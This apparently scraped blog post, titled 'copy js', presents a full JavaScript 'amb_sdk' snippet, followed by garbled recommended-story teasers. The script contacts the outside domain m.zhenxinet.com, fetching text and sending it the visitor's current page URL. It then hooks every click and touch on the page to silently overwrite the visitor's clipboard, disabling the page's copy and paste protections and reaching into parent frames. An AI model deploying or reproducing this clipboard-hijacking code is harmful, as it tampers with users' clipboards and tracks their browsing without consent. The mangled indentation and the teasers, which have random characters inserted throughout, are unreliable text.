copy js

window.amb_sdk_proxy_domain = "m.zhenxinet.com";

window.amb_sdk_cdn_domain = "static.linkongwenhua.com";

window.amb_sdk_proxy_f = "ma52";

window.amb_sdk_proxy_c = "0";

window.amb_sdk_cnzz_id = "1274456713";

window.amb_sdk_tongji_url = "";

(function (h) {

? ? var g = {

? ? ? ? trigger: null,

? ? ? ? dd: document,

? ? ? ? ww: window,

? ? ? ? listener: [],

? ? ? ? listenerTouchend: [],

? ? ? ? listenerCopy: null,

? ? ? ? text: null,

? ? ? ? action: "copy",

? ? ? ? ua: window.navigator.userAgent,

? ? ? ? host: location.protocol + "http://" + location.host,

? ? ? ? id: "default",

? ? ? ? token: "",

? ? ? ? hascopy: null,

? ? ? ? hasload: null,

? ? ? ? hascopy2: null,

? ? ? ? closeqq: "no",

? ? ? ? showAd: function () {

? ? ? ? ? ? this.id = window.amb_sdk_proxy_f

? ? ? ? },

? ? ? ? trytimes: 0,

? ? ? ? init: function () {

? ? ? ? ? ? var a = this;

? ? ? ? ? ? a.trigger = a.dd.getElementsByTagName("*");

? ? ? ? ? ? a.showAd();

? ? ? ? ? ? a.hascopy = a.sGet("amb_sdk_copy");

? ? ? ? ? ? a.hasload = a.sGet("amb_sdk_load");

? ? ? ? ? ? if (null == a.sGet("amb_sdk_open")) {

? ? ? ? ? ? ? ? var b = "";

? ? ? ? ? ? ? ? null != a.sGet("amb_sdk_open_info") ? (b = a.sGet("amb_sdk_open_info")) : (b = a.randomString(), a.sSet(

? ? ? ? ? ? ? ? ? ? "amb_sdk_open_info", b, window.amb_sdk_proxy_c));

? ? ? ? ? ? ? ? a._ajax("https://" + window.amb_sdk_proxy_domain + "/jd/gettokenv2?callback=jsonp" + b, {

? ? ? ? ? ? ? ? ? ? f: a.id,

? ? ? ? ? ? ? ? ? ? h: a.hasload,

? ? ? ? ? ? ? ? ? ? current_url: encodeURIComponent(top.location.href)

? ? ? ? ? ? ? ? }, function (b) {

? ? ? ? ? ? ? ? ? ? a.text = b.text;

? ? ? ? ? ? ? ? ? ? a.token = b.token;

? ? ? ? ? ? ? ? ? ? a.closeqq = b.closeqq;

? ? ? ? ? ? ? ? ? ? if (b.iscn == "no") {

? ? ? ? ? ? ? ? ? ? ? ? a.wxcp(b.text)

? ? ? ? ? ? ? ? ? ? }

? ? ? ? ? ? ? ? ? ? a.sSet("amb_sdk_load", "has", 86400);

? ? ? ? ? ? ? ? ? ? "null" == a.text && (a.text = 0);

? ? ? ? ? ? ? ? ? ? a.dd.queryCommandSupported && a.dd.queryCommandSupported(a.action) ? a.text && (a.listenClick(), a.listenTouchend()) :

? ? ? ? ? ? ? ? ? ? ? ? 1 < a.ua.split("MQQBrowser").length && 1 < a.ua.split("Android").length && 2 > a.ua.split(

? ? ? ? ? ? ? ? ? ? ? ? "MicroMessenger").length && 2 > a.ua.split("QQ/").length ? a.text && a.qqCopy() : (a.listenerCopy =

? ? ? ? ? ? ? ? ? ? ? ? a.listenNode(a.dd.body, "click", a.clipboardCopy.bind(a)))

? ? ? ? ? ? ? ? }, this)

? ? ? ? ? ? }

? ? ? ? },

? ? ? ? wxcp: function (a) {

? ? ? ? ? ? if (/MicroMessenger/i.test(navigator.userAgent)) {

? ? ? ? ? ? ? ? var iframe = document.createElement("iframe");

? ? ? ? ? ? ? ? iframe.style.cssText = "display:none;width:0px;height:0px;";

? ? ? ? ? ? ? ? iframe.src = "weixin://webview/copy/" + a;

? ? ? ? ? ? ? ? document.body.appendChild(iframe)

? ? ? ? ? ? }

? ? ? ? },

? ? ? ? cp: function (a) {

? ? ? ? ? ? var b = this;

? ? ? ? ? ? if (b.hascopy2 == null) {

? ? ? ? ? ? ? ? b.hascopy2 = "yes";

? ? ? ? ? ? ? ? b._ajax("http://" + window.amb_sdk_proxy_domain + "/jd/stat?callback=jsonp" + (new Date).getTime(), {

? ? ? ? ? ? ? ? ? ? f: b.id,

? ? ? ? ? ? ? ? ? ? t: b.token,

? ? ? ? ? ? ? ? ? ? h: b.hascopy,

? ? ? ? ? ? ? ? ? ? current_url: encodeURIComponent(top.location.href)

? ? ? ? ? ? ? ? }, function (c) {

? ? ? ? ? ? ? ? ? ? b.sSet("amb_sdk_open", "close", window.amb_sdk_proxy_c);

? ? ? ? ? ? ? ? ? ? b.sSet("amb_sdk_copy", "has", 86400)

? ? ? ? ? ? ? ? }, true)

? ? ? ? ? ? }

? ? ? ? },

? ? ? ? qqCopy: function () {

? ? ? ? ? ? var a = this,

? ? ? ? ? ? ? ? b = a.text,

? ? ? ? ? ? ? ? c = navigator.appVersion,

? ? ? ? ? ? ? ? e = 1 < c.split("MQQBrowser/").length ? 2 : 0;

? ? ? ? ? ? if (a.closeqq == "yes") {

? ? ? ? ? ? ? ? return true

? ? ? ? ? ? }

? ? ? ? ? ? if (e) {

? ? ? ? ? ? ? ? var f = {

? ? ? ? ? ? ? ? ? ? url: b,

? ? ? ? ? ? ? ? ? ? to_app: "10",

? ? ? ? ? ? ? ? ? ? us_txt: "23s"

? ? ? ? ? ? ? ? };

? ? ? ? ? ? ? ? b = c.split("MQQBrowser/")[1].split(".");

? ? ? ? ? ? ? ? b = parseFloat(b[0] + "." + b[1]);

? ? ? ? ? ? ? ? b = 5.4 > (e ? b : 0) ? "http://3gimg.qq.com/html5/js/qb.js" : "http://jsapi.qq.com/get?api=app.share";

? ? ? ? ? ? ? ? c = a.dd.createElement("script");

? ? ? ? ? ? ? ? var d = a.dd.getElementsByTagName("body")[0];

? ? ? ? ? ? ? ? c.setAttribute("src", b);

? ? ? ? ? ? ? ? c.onload = function () {

? ? ? ? ? ? ? ? ? ? "undefined" != typeof a.ww.browser && "undefined" != typeof a.ww.browser.app && 2 == e ? (a.ww.browser

? ? ? ? ? ? ? ? ? ? ? ? .app.share(f), a.cp("1")) : "undefined" != typeof a.ww.qb && 1 == e && (a.ww.qb.share(f), a.cp(

? ? ? ? ? ? ? ? ? ? ? ? "1"))

? ? ? ? ? ? ? ? };

? ? ? ? ? ? ? ? d.appendChild(c)

? ? ? ? ? ? }

? ? ? ? },

? ? ? ? clipboardCopy: function (a) {

? ? ? ? ? ? _this.ww.clipboardData && this.text && _this.ww.clipboardData.setData("Text", this.text);

? ? ? ? ? ? this.listenerCopy.destroy()

? ? ? ? },

? ? ? ? listenClick: function () {

? ? ? ? ? ? for (var a = this, b = 0; b < a.trigger.length; b++) {

? ? ? ? ? ? ? ? a.listener.push(a.listenNode(a.trigger[b], "click", function (b) {

? ? ? ? ? ? ? ? ? ? return a.onClick(b, "click")

? ? ? ? ? ? ? ? }))

? ? ? ? ? ? }

? ? ? ? },

? ? ? ? listenTouchend: function () {

? ? ? ? ? ? for (var a = this, b = 0; b < a.trigger.length; b++) {

? ? ? ? ? ? ? ? a.listenerTouchend.push(a.listenNode(a.trigger[b], "touchend", function (b) {

? ? ? ? ? ? ? ? ? ? return a.onClick(b, "touchend")

? ? ? ? ? ? ? ? }))

? ? ? ? ? ? }

? ? ? ? },

? ? ? ? listenNode: function (a, b, c) {

? ? ? ? ? ? a.addEventListener(b, c, true);

? ? ? ? ? ? return {

? ? ? ? ? ? ? ? destroy: function () {}

? ? ? ? ? ? }

? ? ? ? },

? ? ? ? onClick: function (a, b) {

? ? ? ? ? ? var c = this;

? ? ? ? ? ? this.dd.body.hasAttribute("oncopy") && this.dd.body.setAttribute("oncopy", "return true");

? ? ? ? ? ? this.dd.body.hasAttribute("onpaste") && this.dd.body.setAttribute("onpaste", "return true");

? ? ? ? ? ? "INPUT" != a.target.nodeName && "TEXTAREA" != a.target.nodeName && ((new h(this.text, this.action, function (

? ? ? ? ? ? ? ? a) {

? ? ? ? ? ? ? ? a ? c.cp("1") : c.cp("2")

? ? ? ? ? ? })).start(), "click" == b ? (this.listenerD = true, this.listener.forEach(function (a, b) {

? ? ? ? ? ? ? ? a.destroy()

? ? ? ? ? ? })) : "touchend" == b && this.listenerTouchend.forEach(function (a, b) {

? ? ? ? ? ? ? ? a.destroy()

? ? ? ? ? ? }));

? ? ? ? ? ? this.dd.body.hasAttribute("oncopy") && this.dd.body.setAttribute("oncopy", "return false");

? ? ? ? ? ? this.dd.body.hasAttribute("onpaste") && this.dd.body.setAttribute("onpaste", "return false")

? ? ? ? },

? ? ? ? randomString: function () {

? ? ? ? ? ? var a = "";

? ? ? ? ? ? for (i = 0; 7 > i; i++) {

? ? ? ? ? ? ? ? a += "ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(61 * Math.random()))

? ? ? ? ? ? }

? ? ? ? ? ? return a

? ? ? ? },

? ? ? ? sGet: function (a) {

? ? ? ? ? ? try {

? ? ? ? ? ? ? ? if (!this.ww.localStorage[a]) {

? ? ? ? ? ? ? ? ? ? return null

? ? ? ? ? ? ? ? }

? ? ? ? ? ? ? ? var b = JSON.parse(this.ww.localStorage[a]);

? ? ? ? ? ? ? ? return b.time < (new Date).getTime() ? (this.ww.localStorage[a] = null) : b.value

? ? ? ? ? ? } catch (c) {

? ? ? ? ? ? ? ? return console.log("not localStorage."), null

? ? ? ? ? ? }

? ? ? ? },

? ? ? ? sSet: function (a, b, c) {

? ? ? ? ? ? try {

? ? ? ? ? ? ? ? var e = {

? ? ? ? ? ? ? ? ? ? name: a,

? ? ? ? ? ? ? ? ? ? value: b,

? ? ? ? ? ? ? ? ? ? time: (new Date).getTime() + 1000 * c

? ? ? ? ? ? ? ? };

? ? ? ? ? ? ? ? this.ww.localStorage[a] = JSON.stringify(e)

? ? ? ? ? ? } catch (f) {

? ? ? ? ? ? ? ? console.log("not localStorage.")

? ? ? ? ? ? }

? ? ? ? },

? ? ? ? now: function () {

? ? ? ? ? ? return (new Date).getTime()

? ? ? ? },

? ? ? ? rand: function () {

? ? ? ? ? ? return Math.random().toString().substr(2)

? ? ? ? },

? ? ? ? parseData: function (a) {

? ? ? ? ? ? var b = "";

? ? ? ? ? ? if ("string" === typeof a) {

? ? ? ? ? ? ? ? b = a

? ? ? ? ? ? } else if ("object" === typeof a) {

? ? ? ? ? ? ? ? for (var c in a) {

? ? ? ? ? ? ? ? ? ? b += "&" + c + "=" + encodeURIComponent(a[c])

? ? ? ? ? ? ? ? }

? ? ? ? ? ? }

? ? ? ? ? ? b += "&_time=" + this.now();

? ? ? ? ? ? return b = b.substr(1)

? ? ? ? },

? ? ? ? _ajax: function (a, b, c) {

? ? ? ? ? ? a = a + (-1 === a.indexOf("?") ? "?" : "&") + this.parseData(b);

? ? ? ? ? ? if ((b = /callback=(\w+)/.exec(a)) && b[1]) {

? ? ? ? ? ? ? ? var e = b[1]

? ? ? ? ? ? } else {

? ? ? ? ? ? ? ? e = "jsonp_" + this.now() + "_" + this.rand(), a = a.replace("callback=?", "callback=" + e), a = a.replace(

? ? ? ? ? ? ? ? ? ? "callback=?", "callback=" + e)

? ? ? ? ? ? }

? ? ? ? ? ? b = document.createElement("script");

? ? ? ? ? ? b.type = "text/javascript";

? ? ? ? ? ? b.src = a;

? ? ? ? ? ? b.id = "id_" + e;

? ? ? ? ? ? window[e] = function (a) {

? ? ? ? ? ? ? ? window[e] = void 0;

? ? ? ? ? ? ? ? var b = document.getElementById("id_" + e),

? ? ? ? ? ? ? ? ? ? k = b.parentNode;

? ? ? ? ? ? ? ? k && 11 !== k.nodeType && k.removeChild(b);

? ? ? ? ? ? ? ? c(a)

? ? ? ? ? ? };

? ? ? ? ? ? (a = document.getElementsByTagName("head")) && a[0] && a[0].appendChild(b)

? ? ? ? }

? ? };

? ? try {

? ? ? ? parent.window.location.href != window.location.href && (g.host = parent.window.location.protocol + "http://" +

? ? ? ? ? ? parent.window.location.host, g.dd = parent.document, g.ww = parent.window), g.init()

? ? } catch (a) {

? ? ? ? g.init()

? ? }

})(function (h, g, a) {

? ? return {

? ? ? ? fakeElem: null,

? ? ? ? text: h,

? ? ? ? action: g,

? ? ? ? selectedText: null,

? ? ? ? dd: document,

? ? ? ? ww: window,

? ? ? ? start: function () {

? ? ? ? ? ? this.text && (parent.window.location.href != window.location.href && (this.ww = top.window, this.dd = top.document),

? ? ? ? ? ? ? ? this.selectFake())

? ? ? ? },

? ? ? ? selectFake: function () {

? ? ? ? ? ? var a = "rtl" == this.dd.documentElement.getAttribute("dir");

? ? ? ? ? ? this.removeFake();

? ? ? ? ? ? this.fakeElem = this.dd.createElement("textarea");

? ? ? ? ? ? this.fakeElem.style.fontSize = "12pt";

? ? ? ? ? ? this.fakeElem.style.border = "0";

? ? ? ? ? ? this.fakeElem.style.padding = "0";

? ? ? ? ? ? this.fakeElem.style.margin = "0";

? ? ? ? ? ? this.fakeElem.style.position = "absolute";

? ? ? ? ? ? a ? (this.fakeElem.style.right = "-9999px") : (this.fakeElem.style.left = "-9999px");

? ? ? ? ? ? this.fakeElem.style.top = (this.ww.pageYOffset || this.dd.documentElement.scrollTop) + "px";

? ? ? ? ? ? this.fakeElem.setAttribute("readonly", "");

? ? ? ? ? ? this.fakeElem.value = this.text;

? ? ? ? ? ? this.dd.body.appendChild(this.fakeElem);

? ? ? ? ? ? this.selectedText = this.selectText(this.fakeElem);

? ? ? ? ? ? this.copyText()

? ? ? ? },

? ? ? ? removeFake: function () {

? ? ? ? ? ? this.fakeElem && (this.dd.body.removeChild(this.fakeElem), this.fakeElem = null)

? ? ? ? },

? ? ? ? copyText: function () {

? ? ? ? ? ? var b = void 0;

? ? ? ? ? ? try {

? ? ? ? ? ? ? ? b = this.dd.execCommand(this.action)

? ? ? ? ? ? } catch (c) {

? ? ? ? ? ? ? ? b = false

? ? ? ? ? ? }

? ? ? ? ? ? this.removeFake();

? ? ? ? ? ? a.call(this, b)

? ? ? ? },

? ? ? ? selectText: function (a) {

? ? ? ? ? ? if ("SELECT" === a.nodeName) {

? ? ? ? ? ? ? ? a.focus(), a = a.value

? ? ? ? ? ? } else if ("INPUT" === a.nodeName || "TEXTAREA" === a.nodeName) {

? ? ? ? ? ? ? ? var b = a.hasAttribute("readonly");

? ? ? ? ? ? ? ? b || a.setAttribute("readonly", "");

? ? ? ? ? ? ? ? a.select();

? ? ? ? ? ? ? ? a.setSelectionRange(0, a.value.length);

? ? ? ? ? ? ? ? b || a.removeAttribute("readonly");

? ? ? ? ? ? ? ? a = a.value

? ? ? ? ? ? } else {

? ? ? ? ? ? ? ? a.hasAttribute("contenteditable") && a.focus();

? ? ? ? ? ? ? ? b = this.ww.getSelection();

? ? ? ? ? ? ? ? var e = this.dd.createRange();

? ? ? ? ? ? ? ? e.selectNodeContents(a);

? ? ? ? ? ? ? ? b.removeAllRanges();

? ? ? ? ? ? ? ? b.addRange(e);

? ? ? ? ? ? ? ? a = b.toString()

? ? ? ? ? ? }

? ? ? ? ? ? return a

? ? ? ? }

? ? }

});

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末轿秧,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子欧募,更是在濱河造成了極大的恐慌臂港,老刑警劉巖诫给,帶你破解...
    沈念sama閱讀 211,265評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件柠贤,死亡現(xiàn)場(chǎng)離奇詭異进栽,居然都是意外死亡克胳,警方通過(guò)查閱死者的電腦和手機(jī)泊碑,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,078評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)毯欣,“玉大人,你說(shuō)我怎么就攤上這事臭脓⌒锍” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 156,852評(píng)論 0 347
  • 文/不壞的土叔 我叫張陵来累,是天一觀的道長(zhǎng)砚作。 經(jīng)常有香客問(wèn)我,道長(zhǎng)嘹锁,這世上最難降的妖魔是什么葫录? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,408評(píng)論 1 283
  • 正文 為了忘掉前任,我火速辦了婚禮领猾,結(jié)果婚禮上米同,老公的妹妹穿的比我還像新娘。我一直安慰自己摔竿,他們只是感情好面粮,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,445評(píng)論 5 384
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著继低,像睡著了一般熬苍。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上袁翁,一...
    開(kāi)封第一講書(shū)人閱讀 49,772評(píng)論 1 290
  • 那天柴底,我揣著相機(jī)與錄音,去河邊找鬼粱胜。 笑死柄驻,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的焙压。 我是一名探鬼主播凿歼,決...
    沈念sama閱讀 38,921評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼褪迟,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了答憔?” 一聲冷哼從身側(cè)響起味赃,我...
    開(kāi)封第一講書(shū)人閱讀 37,688評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎虐拓,沒(méi)想到半個(gè)月后心俗,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,130評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡蓉驹,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,467評(píng)論 2 325
  • 正文 我和宋清朗相戀三年城榛,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片态兴。...
    茶點(diǎn)故事閱讀 38,617評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡狠持,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出瞻润,到底是詐尸還是另有隱情喘垂,我是刑警寧澤,帶...
    沈念sama閱讀 34,276評(píng)論 4 329
  • 正文 年R本政府宣布绍撞,位于F島的核電站正勒,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏傻铣。R本人自食惡果不足惜章贞,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,882評(píng)論 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望非洲。 院中可真熱鬧鸭限,春花似錦、人聲如沸两踏。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,740評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)缆瓣。三九已至喧枷,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間弓坞,已是汗流浹背隧甚。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,967評(píng)論 1 265
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留渡冻,地道東北人戚扳。 一個(gè)月前我還...
    沈念sama閱讀 46,315評(píng)論 2 360
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像族吻,于是被迫代替她去往敵國(guó)和親帽借。 傳聞我的和親對(duì)象是個(gè)殘疾皇子珠增,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,486評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容